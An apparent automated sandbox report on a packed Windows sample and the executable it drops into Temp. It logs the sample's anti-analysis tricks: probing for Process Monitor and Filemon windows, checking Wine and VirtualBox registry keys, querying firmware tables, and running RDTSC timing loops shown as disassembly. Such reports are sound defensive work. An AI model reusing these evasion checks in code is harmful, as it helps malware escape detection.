Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2956800 > 1048576

Source: file.exe

Static PE information: Raw size of jpmedhyu is bigger than: 0x100000 < 0x2a6800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W;jpmedhyu:EW;bzdbwpfq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;jpmedhyu:EW;bzdbwpfq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Unpacked PE file: 5.2.HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;quailsgy:EW;yrbqemzo:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: real checksum: 0x2b7070 should be: 0x2afc32
Source: file.exe	Static PE information: real checksum: 0x2dc82c should be: 0x2e1ab6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: jpmedhyu
Source: file.exe	Static PE information: section name: bzdbwpfq
Source: file.exe	Static PE information: section name: .taggant
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name:
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name: .idata
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name: quailsgy
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name: yrbqemzo
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0541CBCF push edx; retf	0_3_0541CBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0541CFD4 push ss; ret	0_3_0541CFD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0541DDA1 push esi; iretd	0_3_0541DDA2
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00D3E5BC push ebp; mov dword ptr [esp], 0005ED13h	5_2_00D3E5DD
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBA7ED push eax; mov dword ptr [esp], 5337BAA1h	5_2_00EBA858
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBA7ED push esi; mov dword ptr [esp], ebx	5_2_00EBA8CD
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EC8843 push 7286788Ah; mov dword ptr [esp], eax	5_2_00ECB5AF
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBED33 push esi; ret	5_2_00EBECDE
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EC90EC push edi; mov dword ptr [esp], eax	5_2_00ECC151
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EC90EC push ecx; mov dword ptr [esp], ebp	5_2_00ECC155
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00D440DD push 66C4470Fh; mov dword ptr [esp], ecx	5_2_00D440F0
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00D430C8 push 728985C2h; mov dword ptr [esp], edx	5_2_00D448F4
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00ECA0D3 push edx; mov dword ptr [esp], ebx	5_2_00ECA9A5
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBC0AD push 59B9059Dh; mov dword ptr [esp], ecx	5_2_00EBC0BF
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBB0AC push ebx; mov dword ptr [esp], 577BC7B9h	5_2_00EBB0FE
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00ECA0BB push edi; mov dword ptr [esp], ebp	5_2_00ECCAC5
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00D3C08F push 48FBB56Bh; mov dword ptr [esp], ebp	5_2_00D3C986
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBE088 push ebx; mov dword ptr [esp], esp	5_2_00EBE08D
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBE088 push edx; mov dword ptr [esp], 0C1BA43Ch	5_2_00EBE5DC
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBE082 push ebp; mov dword ptr [esp], ecx	5_2_00EBE845
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBF080 push edx; ret	5_2_00EBF08F
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBE09D push 550CF601h; mov dword ptr [esp], edi	5_2_00EBE0A4
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBB093 push ebx; mov dword ptr [esp], 577BC7B9h	5_2_00EBB0FE
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00D42052 push 09B89C69h; mov dword ptr [esp], edx	5_2_00D42079
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EB906C push eax; iretd	5_2_00EB906F
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBE060 push 390AF911h; mov dword ptr [esp], ebx	5_2_00EBE711
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBE060 push 14B4521Fh; mov dword ptr [esp], edi	5_2_00EBE88F
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00ECC063 push 6D504AE1h; mov dword ptr [esp], ebp	5_2_00ECC81E
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBB07C push ebx; mov dword ptr [esp], 577BC7B9h	5_2_00EBB0FE
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EBF059 push edx; ret	5_2_00EBF068
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EC802B push ebx; mov dword ptr [esp], edi	5_2_00EC9EBB

Source: file.exe	Static PE information: section name: entropy: 7.970173432663567
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name: entropy: 7.768417447601228

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495BB5 second address: 495BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA247 second address: 4AA24D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA24D second address: 4AA25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FE4A91B79E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA25A second address: 4AA283 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FE4A9009D18h 0x0000000e pushad 0x0000000f jbe 00007FE4A9009D06h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA283 second address: 4AA289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA3F6 second address: 4AA426 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FE4A9009D15h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA55F second address: 4AA569 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE4A91B79E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA569 second address: 4AA572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA572 second address: 4AA57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE4A91B79E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AAB3C second address: 4AAB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD985 second address: 4AD98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD9F1 second address: 4AD9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD9F5 second address: 4AD9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD9F9 second address: 4ADA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE4A9009D0Fh 0x0000000d nop 0x0000000e mov si, bx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FE4A9009D08h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov esi, dword ptr [ebp+122D2898h] 0x00000033 call 00007FE4A9009D09h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADA4A second address: 4ADA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADA4E second address: 4ADA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADA54 second address: 4ADA90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE4A91B79F8h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADA90 second address: 4ADA96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADA96 second address: 4ADACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE4A91B79F9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADB7E second address: 4ADB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADBE1 second address: 4ADBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE4A91B79E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADBEC second address: 4ADBF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADBF2 second address: 4ADC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007FE4A91B7A01h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FE4A91B79E8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a jmp 00007FE4A91B79EEh 0x0000002f push 00000000h 0x00000031 mov dx, 3CC4h 0x00000035 push EA042A24h 0x0000003a jng 00007FE4A91B7A08h 0x00000040 push eax 0x00000041 push edx 0x00000042 je 00007FE4A91B79E6h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADC61 second address: 4ADCE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 15FBD65Ch 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FE4A9009D08h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D2A91h], edx 0x00000030 push 00000003h 0x00000032 sbb dh, 00000017h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007FE4A9009D08h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov dl, EBh 0x00000053 push 00000003h 0x00000055 mov dx, 1517h 0x00000059 push 9E01FD9Fh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADCE2 second address: 4ADCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADD76 second address: 4ADD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADD7A second address: 4ADD7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADD7E second address: 4ADD84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADD84 second address: 4ADD8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADD8A second address: 4ADDE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FE4A9009D22h 0x0000000f jns 00007FE4A9009D1Ch 0x00000015 nop 0x00000016 mov di, dx 0x00000019 or esi, dword ptr [ebp+122D3B15h] 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D258Eh], edi 0x00000027 call 00007FE4A9009D09h 0x0000002c pushad 0x0000002d jno 00007FE4A9009D0Ch 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADDE1 second address: 4ADDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADDE5 second address: 4ADE24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FE4A9009D0Dh 0x00000013 jmp 00007FE4A9009D10h 0x00000018 popad 0x00000019 rdtsc
